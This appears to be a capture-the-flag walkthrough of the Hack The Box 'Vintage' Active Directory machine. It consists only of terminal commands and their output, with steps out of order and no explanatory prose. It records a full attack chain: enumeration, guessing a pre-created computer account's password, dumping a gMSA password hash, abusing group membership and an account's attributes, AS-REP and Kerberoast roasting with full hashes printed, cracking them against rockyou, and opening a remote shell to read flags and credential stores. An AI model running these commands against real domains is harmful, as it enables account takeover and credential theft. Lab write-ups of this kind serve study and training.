LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\svc_sql:Zer0the0ne
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\svc_ldap account vulnerable to asreproast attack
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\svc_ark account vulnerable to asreproast attack
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
LDAP dc01.vintage.htb 389 DC01 [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED❯ bloodyAD -d vintage.htb --host "$FQDN" -k add groupMember 'DELEGATEDADMINS' 'SVC_SQL'
[+] SVC_SQL added to DELEGATEDADMINS❯ powerview vintage.htb/'c.neri_adm'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-c.neri_adm-dc01.vintage.htb
[2025-04-24 23:58:37] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\c.neri_adm]
PV > Add-DomainGroupMember -Identity 'DELEGATEDADMINS' -Members 'SVC_SQL'
[2025-04-25 23:59:18] User SVC_SQL successfully added to SERVICEMANAGERS❯ bloodyAD -d vintage.htb --host "$FQDN" -k add groupMember 'SERVICEMANAGERS' 'P.Rosa'
[+] P.Rosa added to SERVICEMANAGERS❯ powerview vintage.htb/'GMSA01$'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-gmsa01$-dc01.vintage.htb
[2025-04-24 23:58:37] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\gMSA01$]
PV > Add-DomainGroupMember -Identity 'SERVICEMANAGERS' -Members 'P.Rosa'
[2025-04-24 23:59:18] User P.Rosa successfully added to SERVICEMANAGERS❯ bloodyAD --host "$FQDN" -d vintage.htb -k remove uac 'SVC_SQL' -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from SVC_SQLs userAccountControl
❯ bloodyAD --host "$FQDN" -d vintage.htb -k set object 'SVC_SQL' servicePrincipalName -v 'cifs/gzzcoo'
[+] SVC_SQL's servicePrincipalName has been updated❯ powerview vintage.htb/'P.Rosa'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-p.rosa-dc01.vintage.htb
[2025-04-25 00:43:13] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity "SVC_SQL" -Set 'userAccountControl=66048'
[2025-04-25 00:56:56] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_SQL' -Set 'servicePrincipalname=cifs/gzzcoo'
[2025-04-25 00:57:42] [Set-DomainObject] Success! modified attribute serviceprincipalname for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb❯ export IP=10.10.11.45
❯ iRecon "$IP"❯ nxc ldap "$IP"
LDAP 10.10.11.45 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
❯ ldapsearch -x -H ldap://"$IP" -s base | grep defaultNamingContext
defaultNamingContext: DC=vintage,DC=htb❯ echo '10.10.11.45 dc01.vintage.htb dc01 vintage.htb' | sudo tee -a /etc/hosts
10.10.11.45 dc01.vintage.htb dc01 vintage.htb❯ nxc ldap "$IP" -u 'P.Rosa' -p 'Rosaisbest123'
LDAP 10.10.11.45 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.10.11.45 389 DC01 [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
❯ nxc ldap "$IP" -u 'P.Rosa' -p 'Rosaisbest123' -k
LDAP 10.10.11.45 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.10.11.45 389 DC01 [-] vintage.htb\P.Rosa:Rosaisbest123 KRB_AP_ERR_SKEW❯ sudo ntpdate -s "$IP"
❯ nxc ldap "$IP" -u 'P.Rosa' -p 'Rosaisbest123' -k
LDAP 10.10.11.45 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP 10.10.11.45 389 DC01 [+] vintage.htb\P.Rosa:Rosaisbest123[libdefaults]
default_realm = VINTAGE.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
default_domain = vintage.htb
}
[domain_realm]
.vintage.htb = VINTAGE.HTB
vintage.htb = VINTAGE.HTB❯ impacket-getTGT vintage.htb/P.Rosa:'Rosaisbest123' -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
❯ export KRB5CCNAME=$(pwd)/P.Rosa.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/P.Rosa.ccache
Default principal: P.Rosa@VINTAGE.HTB
Valid starting Expires Service principal
04/24/2025 21:46:40 04/25/2025 07:46:40 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/25/2025 21:46:11❯ export FQDN=dc01.vintage.htb
❯ nxc smb "$FQDN" --use-kcache --shares
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
SMB dc01.vintage.htb 445 dc01 [*] Enumerated shares
SMB dc01.vintage.htb 445 dc01 Share Permissions Remark
SMB dc01.vintage.htb 445 dc01 ----- ----------- ------
SMB dc01.vintage.htb 445 dc01 ADMIN$ Remote Admin
SMB dc01.vintage.htb 445 dc01 C$ Default share
SMB dc01.vintage.htb 445 dc01 IPC$ READ Remote IPC
SMB dc01.vintage.htb 445 dc01 NETLOGON READ Logon server share
SMB dc01.vintage.htb 445 dc01 SYSVOL READ Logon server share ❯ nxc ldap "$FQDN" --use-kcache --users
LDAP dc01.vintage.htb 389 DC01 [*] None (name:DC01) (domain:vintage.htb)
LDAP dc01.vintage.htb 389 DC01 [+] vintage.htb\P.Rosa from ccache
LDAP dc01.vintage.htb 389 DC01 [*] Enumerated 14 domain users: vintage.htb
LDAP dc01.vintage.htb 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP dc01.vintage.htb 389 DC01 Administrator 2024-06-08 13:34:54 0 Built-in account for administering the computer/domain
LDAP dc01.vintage.htb 389 DC01 Guest 2024-11-13 15:16:53 1 Built-in account for guest access to the computer/domain
LDAP dc01.vintage.htb 389 DC01 krbtgt 2024-06-05 12:27:35 0 Key Distribution Center Service Account
LDAP dc01.vintage.htb 389 DC01 M.Rossi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 R.Verdi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 L.Bianchi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 G.Viola 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 C.Neri 2024-06-05 23:08:13 0
LDAP dc01.vintage.htb 389 DC01 P.Rosa 2024-11-06 13:27:16 0
LDAP dc01.vintage.htb 389 DC01 svc_sql 2025-04-24 21:32:21 1
LDAP dc01.vintage.htb 389 DC01 svc_ldap 2024-06-06 15:45:27 1
LDAP dc01.vintage.htb 389 DC01 svc_ark 2024-06-06 15:45:27 1
LDAP dc01.vintage.htb 389 DC01 C.Neri_adm 2024-06-07 12:54:14 0
LDAP dc01.vintage.htb 389 DC01 L.Bianchi_adm 2024-11-26 12:40:30 0 ❯ cat users.txt
LDAP dc01.vintage.htb 389 DC01 Administrator 2024-06-08 13:34:54 0 Built-in account for administering the computer/domain
LDAP dc01.vintage.htb 389 DC01 Guest 2024-11-13 15:16:53 1 Built-in account for guest access to the computer/domain
LDAP dc01.vintage.htb 389 DC01 krbtgt 2024-06-05 12:27:35 0 Key Distribution Center Service Account
LDAP dc01.vintage.htb 389 DC01 M.Rossi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 R.Verdi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 L.Bianchi 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 G.Viola 2024-06-05 15:31:08 1
LDAP dc01.vintage.htb 389 DC01 C.Neri 2024-06-05 23:08:13 0
LDAP dc01.vintage.htb 389 DC01 P.Rosa 2024-11-06 13:27:16 0
LDAP dc01.vintage.htb 389 DC01 svc_sql 2025-04-24 21:32:21 1
LDAP dc01.vintage.htb 389 DC01 svc_ldap 2024-06-06 15:45:27 1
LDAP dc01.vintage.htb 389 DC01 svc_ark 2024-06-06 15:45:27 1
LDAP dc01.vintage.htb 389 DC01 C.Neri_adm 2024-06-07 12:54:14 0
LDAP dc01.vintage.htb 389 DC01 L.Bianchi_adm 2024-11-26 12:40:30 0
❯ cat users.txt | awk '{print $5}' | sponge users.txt
❯ cat users.txt
Administrator
Guest
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm❯ impacket-GetNPUsers -no-pass -usersfile users.txt -dc-ip "$IP" vintage.htb/
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User svc_ldap doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_ark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set❯ impacket-GetUserSPNs vintage.htb/P.Rosa -k -no-pass -dc-ip "$IP" -dc-host dc01 -request
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
No entries found!❯ bloodhound-python -u 'P.rosa' -k -no-pass -d 'vintage.htb' -ns "$IP" -dc "$FQDN" --zip -c All --auth-method kerberos
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The resolution lifetime expired after 3.103 seconds: Server Do53:10.10.11.45@53 answered The DNS operation timed out.
INFO: Done in 00M 10S
INFO: Compressing output into 20250424222743_bloodhound.zip❯ sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
Starting app-db ... done
Starting graph-db ... done
Starting bloodhound ... done❯ echo 'fs01$' > computers.txt
❯ pre2k unauth -d vintage.htb -dc-ip "$IP" -inputfile computers.txt
___ __
/'___`\ /\ \
_____ _ __ __ /\_\ /\ \\ \ \/'\
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , <
\ \ \L\ \ \ \//\ __//\______\ // /_\ \\ \ \\`\
\ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\
\ \ \/ \/_/ \/____/ \/_____/ \/_/\/_/
\ \_\ v3.1
\/_/
@unsigned_sh0rt
@Tw1sm
[23:14:25] INFO Testing started at 2025-04-24 23:14:25
[23:14:25] INFO Using 10 threads
[23:14:25] INFO VALID CREDENTIALS: vintage.htb\fs01$:fs01❯ impacket-getTGT vintage.htb/'fs01$':fs01 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fs01$.ccache
❯ export KRB5CCNAME=$(pwd)/'fs01$.ccache'
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/fs01$.ccache
Default principal: fs01$@VINTAGE.HTB
Valid starting Expires Service principal
04/24/2025 23:17:51 04/25/2025 09:17:51 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/25/2025 23:15:14❯ bloodyAD --host "$FQDN" -d "vintage.htb" -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178
msDS-ManagedPassword.B64ENCODED: cAPhluwn4ijHTUTo7liDUp19VWhIi9/YDwdTpCWVnKNzxHWm2Hl39sN8YUq3hoDfBcLp6S6QcJOnXZ426tWrk0ztluGpZlr3eWU9i6Uwgkaxkvb1ebvy6afUR+mRvtftwY1Vnr5IBKQyLT6ne3BEfEXR5P5iBy2z8brRd3lBHsDrKHNsM+Yd/OOlHS/e1gMiDkEKqZ4dyEakGx5TYviQxGH52ltp1KqT+Ls862fRRlEzwN03oCzkLYg24jvJW/2eK0aXceMgol7J4sFBY0/zAPwEJUg1PZsaqV43xWUrVl79xfcSbyeYKL0e8bKhdxNzdxPlsBcLbFmrdRdlKvE3WQ==❯ impacket-getTGT vintage.htb/GMSA01$ -hashes aad3b435b51404eeaad3b435b51404ee:b3a15bbdfb1c53238d4b50ea2c4d1178 -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
❯ export KRB5CCNAME=$(pwd)/'GMSA01$.ccache'
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/GMSA01$.ccache
Default principal: GMSA01$@VINTAGE.HTB
Valid starting Expires Service principal
04/24/2025 23:55:45 04/25/2025 09:55:45 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/25/2025 23:53:09❯ impacket-GetNPUsers -no-pass -usersfile users.txt -dc-ip "$IP" vintage.htb/
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_sql@VINTAGE.HTB:aa0537c45edb50f74faf1919c198243b$63d014b7932f1c88c9a093af1582c817d6c9bfac7817038669f375e531cea2e6b04a9343dca06af22c742d4529cdacf741d1f3a60901a6fddcdb7bd4329d3151d577303e09f67225475641225730dd879d66c01e51d209d7cfd370c3817d3d09dde5823b5e9ca61ca6eba479cc3b3ddca52171ed99001c50a2911ef83355bee208b5e0bf5223ad0c7844c5c90be7bb7d52af8fb445dfb68fd412028db5d1b150f963203f11518f6d7ceb93db8c9a49c6348f6eadd51b3d8f91747f03ec5b442c3937db89ff935fcd03fa5db3c3dc5537a4ee291071ae3896bbe163ab38b6adecd41a747782fa3d898d2b
$krb5asrep$23$svc_ldap@VINTAGE.HTB:4d302fdb0fb55c102fe13efb512e12c9$bbe6165b3e00a4018f2790967ace07d32d519b85bdc991202cbb30dd58c7647efab003e66f6ad925a617cf092bdbec0b718695a35004631ef2fdba9df3cb243b0faac184e1c6aef3cad21afc3cbd95352d2dfbcb6e78f28da325fb87e8f331a8a24c1001d848b533eca072ba0b9412155476ebf3984242f094c23ff6cf560ccfe1e84eb8455e468de788a24389a8ea58f187ac9db776d7736bf0cd735afe330928a3364b3ec622002db6a4a1874c27b8649f1e556c6ba002ae316edf96901dcfa2e64500a23d8aecef799c9282f951e9a5a587682865143880c9b20e3c4912caefcab634fc32e2c8e522
$krb5asrep$23$svc_ark@VINTAGE.HTB:14d84ca2dcd8a5290cfe40abc684917e$aa09fe27d090f35ffdc6690cfe625af18d2bd449787f44eb5eb340152fe881fe0f5cf2be89f889bbd40bb2940a29864b29509fa748897575ef1db7f455edfccdb1822391bb13693a30ca7adbf78b06a00d7fafddbad6aeedbd9dd92101f58f069adf365635e58cd4c3422a4685298991f8aca1105d1a320d6bb5a1930214ec33da08e5e2f0871127cb1d9844f56908bc2017e9ecbeebb63afb2540b33dd0075ce924781933ae047f94d1e7d0d109e9bb8e4afbeb5dfc59424f7d509876e6d1fb3ee06bfadb4364400177ef7848e4a6832a1ebf863a864fd4ea3d57d8ca9d8d838b2aeb7e583b3cec5951
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set❯ impacket-GetUserSPNs vintage.htb/P.Rosa -k -no-pass -dc-ip "$IP" -dc-host dc01 -request
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- -------- ----------------------------------------------------- -------------------------- -------------------------- ----------
cifs/gzzcoo svc_sql CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb 2025-04-24 23:52:04.892067 2025-04-25 00:06:27.407691
cifs/gzzcoo1 svc_ldap CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb 2024-06-06 15:45:27.881830 2025-04-25 00:06:27.673399
cifs/gzzcoo2 svc_ark CN=ServiceAccounts,OU=Pre-Migration,DC=vintage,DC=htb 2024-06-06 15:45:27.913095 2025-04-25 00:06:27.860879
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$0dd64e857aa78a46e5fd1daf5be6137b$8c78610214237b0ee0c85d6f5526a664b8c58db9099ab8c1bbe879d5b5dde41c7d2a88f837db436f62375cdd9154aecac93ae2d6c4d00b68ac322d8e346dc910ee09c7b0ccb16bc8113a43cfa17f33d6ec5e00bf9b6b68eb7a80a4236c226ec91f8919c4825c499ee9656662620b6e3e94a8b357ed9e1f990078917c68a80b844f7367d27b903c5801758d6aa1c9d663d709d3ca6b5c0a5ea922e958bde48aebbd337efab70e486cdcdb54d3d2f1892cd9eed593d4ba4d1a614c64c1f06ad1f8489ee66d0951e5f9a40a9295d710ce44d00933a0f12ab488b622dce5edcb510eabae4258cec3c872386d862bd24230d6db8ff908a11995880945026115e6f78b6746247f8c24bad3e61b5bd357cb646aead21d86ccacbcbc3fef4246e892df95978f94e4b929b4d2d70913932f589124c80a5e5e2e3087583c6f89886df4e4cde73b862576f21dae01be641efe9a93911dbbbf97b044fa0871e96d2b6d81fa5adbdc29aca1f0d744ee4f582ad16793fb799bf6feac8dd2d92207bfa1d6d1e7d8e8049afae4e24436108640b60740a2ba74604e4390cd28bd78b67e792e5c08565c4af4bb40879e0c8a96ce8fdfa1e7595ecc50f679ae3705a903267f57eb5178bf6dc909496c7905f36734f1ea960ac319840836d118c0eeddbb39ed78392b42a9d50b50068d90574e8504a538d4b3c238543c1ca0b28e327f55086fe011f20afc838c88a5a77cb01fa3f8b8fbabad170a0374b69f555621e7f4be5dec4a9676acbf8fe3e8e6f63f507eb1589b3bc11c0be58f1243a657fe69d2968c17cda809a073cece9d8bc6b4bc4433af17b6947912c4a5e2ae577cd681d052d1e133f29358ec4b566d3a2bb19d5c84dc12c3045cd58d6370ab24ddc76021d49cbb23bdfd0e0235058b4a747e5bbef727b4a2f1ad92a94c803258013e817e1ac7000c559ceedd7bc6acc8f46a880ec15766cb87e592112a043d5628be4d0f0b86bc557998ef76a324d5c40ad262a441b6ad1d09d3cc4d8bcd938b62b33562d341c5da3c8da30b1b51df028597f96f29a48fd4eb3bf659f671d97ef18be4432fc1757f00c763367459c7a40e9be902e7a3f555a5b785df37d9ad33ad3f012c64063ae00827533cbccede7e344d196e778db64e732a565871ed4820bec1e05d9bc64296ad699490c0d6b6fe7c11175f013be7a65b4125886e50c59cb644a15d2be7254b94a02b4475e6e960529f74b40b057f2a55978cb62b9e5ce369b67676c96a8de6904a2d62078f917ece3c008a8eda57a9a6867cc4b0481369462c1a0a1e45c371f5117228d0d5aad26dcc349ded77fcde7fff1ff9e0a18b80240c8b74cfac86e76a30762b2da2db0f2dd1cfce278e1bb82c3e3894ecf2c4984a9e5826a0bde33ede993887fcf317bf95260234e3fdc6f2b598be078cf7473c707f851241df8b8a5f90fe54
$krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb/svc_ldap*$47593d71b1df533dee6101df036d5fa8$6fb3f957bb428840a88236dbc35b4323296b2ad07d14b1a8961f7f4ce8a33c9b7639c5e88e26f7cc715c5c7fba3eed17aa0789a2ab9dc908f4f06e94685f0c686a15f67dcf869ddfaa621c3bd14ca44a88fb77adb1b6ea6b89755dd23b242ebb49c50b8d87a7bc4229b31ddd1f0a502c3cd9e49a3f16ef1975412bc04b17ca7e992acbeae6589d8566d30ae0885a8ecbecd8aea4f904aeb2e55daa58c40bf4f72b32c62e42d3a5956a9c6d6530f60c9558b3f074da6a2f79c64da1afa538bade418dbf52dd43c08d1b7ef8985e7515588c952cf287afdabba580dcea8735d24352afc411d0d127a1671367d86e54763327298ab03a39ffc4ffa1903c14a2901961b37d8807a039b82eca4e7d47b597b3b4256f0d4d0268b49bb9cdedd65b3e1c012d61b345971c67efcc98bdafe2ddfbbd52a4eba958923b9f0df1e1cf5b0c3a0855b17c4657c2de4dfa693df8fe5fb6354830273a42d5887f3a523d63530efd848e9909b1bce7b993e94679674b9062e8f9d11ebe3789f46d1a7774c508910782ebd373c41ebdb934934a0dea39d216611e5d86ef809951e7390ffea5cd5a8d1cea6beab93880d05b4b2ed58f0ffa854e0d2afa6e983445acf5f0603ed5dd9b75bdbb57ead907b8265fccd250d7b35ad5e2ffe0d4f7c5c3fed8319ee2f6e2cabc641369e601ce20641113362f48c007968ef1ebcfe8268866e931377ca4fbe90b4ccb99a68539d9e756b8caccff0d286ff52cd394b19fcc2d14ea25aa1602d9c6331be3de191b22c95cba851a38601d6e66f18b8f7c06e5de553e16526da3c72e83fdff1343562115d0d8551b1d26a575797e7da920bc784bb1312e33db81f13c0cfce6a035d26ff2918acd2ee4d988a7ec7d582ec99970ae1fb6cea7cb4f6b5ee2299ebd6cd6c8ac24e6beb74092fdc2ef751b7877463a4c137bba6bb3aef3f441b3f89950685d5734e4e89186091febdd1177cf27767d8262a833d61873c4657bd7a83fd133e9673a499b94be570b81fedd87849fb1c20544a42ad33340d86cf9ee4b888d5d476b4b89883af9ec8d41d86e41873b1542bc1ca0572ebe55e908ccad91e545ec478e5255ec43abc8e0a8fc87839475437fb3397a8e1bcd3db10b957383624d91622e27e5f2fc24fe2175545afb048feb80336d2c1f26a1e7ffa6809fd7fe4200cddd1fa78dc23e85e9fe5f078396571683c6f4f4499b43fde1015a15215a7e9e2041da1486133099f61b19931de6b6ff0d1257dfd4fbc273b556b3e8372aeb5203260997348aa0945fc8774b656f8ff779b17d70384d541050356201d41c11d437a365b7c6454debcdcb94b7ea4dcac131a536a224ff88104ff8975b2d4dc73027cf4928ff9d8661ce78a34862b5db963c40c2960de90adaadb3ed7e67667137c6d612c7d44c2e53a658a3391ac399cb2badec26cdfdf496b92d91
$krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb/svc_ark*$d57f47fa861a2a0244b07afd3aaa4b51$c972edeb8637195e5d8fe18399e9036f39c291ef1b2fb553e6896a38b0be9920f69e4dcf71b06b68a1a124488b1065f6c6317e355bcc223362a2560a940f8ef422e4937530a110fd0f1059c34e355809c0f27ed791195feedabbda65312718ebdbfff85ef4ed7fb4e232287391461b3da6d66bc2ae1ec90a9428250b62141b9210e19f0f1743ec5ef3b2727790421a8b8457caa6c9ecb0d272d33f4db71c8ded1a56867c3b0948e40ca78c30c4a817abd9e636e8dc5e06095bf139bbe01733dba9aaca7d13340aa7501f825dc53fede6fbc0cd121110354d0a8edd8f0bf942281ace472e875e1eaf4a7f1b62e0c8aee6f45675f86e33a52bab3763b4d522f2920ecda3e64d076eb0b8bfb2a3d963f77a090d34f02025c2f8bfbd5a59545ff9fa98a74f44ba7df806b2ceb6d70010522d57ccb4bf6605d0204406b4a66ddab431277662c8a33740cd750da730b04abc995973e4e9437971a593b6e8968ab0e11841cfabc153cd925f30c4eec32ee8d95e46ee6f62c65d60199e4b18396c2158f59171ec2466ab45fd680198e9b1a801c18b887353b13eadce8f06f4f36b954831009b35fb68b6c482207154b92826b5f133c13e839740b94d81f8419eca3829c98fec3fa212f8af9a5a735abc6c8bb675a5301f560ca82243a9a3ca8e68acf1ac7fc13fe9e8574d56583c2f7ad097ec4906e84a4d9a9adb3dbd2023ac6f1ddad25d235a4be3d64cb39c02bbfba509177e6b0a12c62e4b18b04f70e09d2631ee49d05880baa1973c1245643e37a1b7772fa6a293969e182a240cf42b7213b228800864fb61c93425c10170c194f3c16aa132d77c17e43e2400bdcbdf5991ba31915ac7eae98333861b739378c6d7fbf35074a893cf72a4fa0c6fda0a93157568729007801df33c36b51348e8cb337111d1e52a39d5dd1db371afa6d947f10b5b8c5ac0f3b5914001aef284c8fc051afe46a7d2db48f065e6903c9e773a7e70cc67c4238ddfa49333f681e272f2440d24e11bfecb7486505925dd38ecd7dea578f328bd96df871d529b4261246b8a48bb8063515cc9c7a626f76c0df02e55562180fcc544043b98bcdc00e86d59da2ea21e7342f9fc1e070d681d9fdf99b45012d80be4fcddf4288c25ee914ad020c2fd46be81e390f533d3249bf55fe81467f42fe92f481a5bb33d7035c83fbef53c24e0e9a02b4a3732d2da7146c65905ed413ce13bcaea75ce0b62189b116aff932ab01fa4d2e7483983df0539f710620bf3a06bbcac17eaa20c9a2545fb7a5f31a1456e89dfab70d5d3f634bc3e1160d01e83efbb01ec4cb9ed75fcf2a0a9bdba6d26487bff698f35d4b517ed833a8646e04719e9025c283041532f17fc33ea7fe7127d84ca7001956157f4c35b6382f4247007199290c70600e0f9b68340deb6cb36ba586ba388d6d0903e9f14ed3151bff9241e❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:00:28 DONE (2025-04-25 00:17) 0.03556g/s 510090p/s 1057Kc/s 1057KC/s !SkicA!..But_Lying_Aid9!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. ❯ impacket-getTGT vintage.htb/C.Neri:'Zer0the0ne' -dc-ip "$IP"
Impacket v0.13.0.dev0+20250404.133223.00ced47f - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri.ccache
❯ export KRB5CCNAME=$(pwd)/C.Neri.ccache
❯ klist
Ticket cache: FILE:/home/gzzcoo/Desktop/HackTheBox/Labs/Windows/AD/Vintage/content/C.Neri.ccache
Default principal: C.Neri@VINTAGE.HTB
Valid starting Expires Service principal
04/25/2025 00:25:08 04/25/2025 10:25:08 krbtgt/VINTAGE.HTB@VINTAGE.HTB
renew until 04/26/2025 00:22:32❯ evil-winrm -i "$FQDN" -r vintage.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> type ../Desktop/user.txt
691d******************7e1d2a48b0*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> ls -force
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
